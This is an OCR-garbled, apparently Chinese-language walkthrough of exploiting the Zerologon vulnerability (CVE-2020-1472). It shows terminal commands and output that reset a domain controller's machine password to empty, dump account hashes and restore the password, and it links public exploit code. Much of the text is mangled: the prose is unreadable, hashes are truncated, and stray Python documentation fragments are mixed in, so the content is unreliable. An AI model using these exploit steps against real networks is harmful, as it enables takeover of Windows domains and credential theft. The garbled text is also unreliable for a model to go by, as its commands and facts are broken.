CVE-2020-1472 AR =EFIA

BRIN LAFHGEXEEEZRAZ, BREEIBINERDERE, MTEEseakRx, At
B hash BEXRIEERINSHEMEEH RS EMzEE EAIThEE (Fla0: DNS RS
F) |, AUFNCRIIMENFIA. FIRREDT:

1. BB, FEUSWAERIARF hash, FIFE exp: https://github.com/dirkjanm/CVE-
2020-1472

rootdkali:~/impacket/examples# python3 cve-2020-1472-exploit.py dc-@1 192.168.253.163

Target vulnerable, changing account password to empty string

Result: @

Exploit complete! % ZerQ Secu th

root@kali:~/impacket/examples# I

2.Dump EF=HI_ERY hash




map the res t .pytno
and then 1y n with

L= g target,
map the re t )Cs.python.o libra d html#standard-encodings
and then i and the cor |Dnding codec




:~/impacket/examplest |]

d5@ab52bfae341dc9

calbfale9 2ebd
#’Q Zer0 Security

4. & ntds.dit BAIITEHN] hash FHIGIE: https://github.com/risksense/zerologon FE&EjF
BHIR&EM hash AR EERIRLIRY. " " FEAEVERD -> f604....1dc9 X4, A2EH
B, TERET



nal_pw.py dc-@1 192.168.2

original value. You might want ‘%‘ e Setin rﬂ:yﬁn

% ZerQ Security

i:~/imp amples# Jj




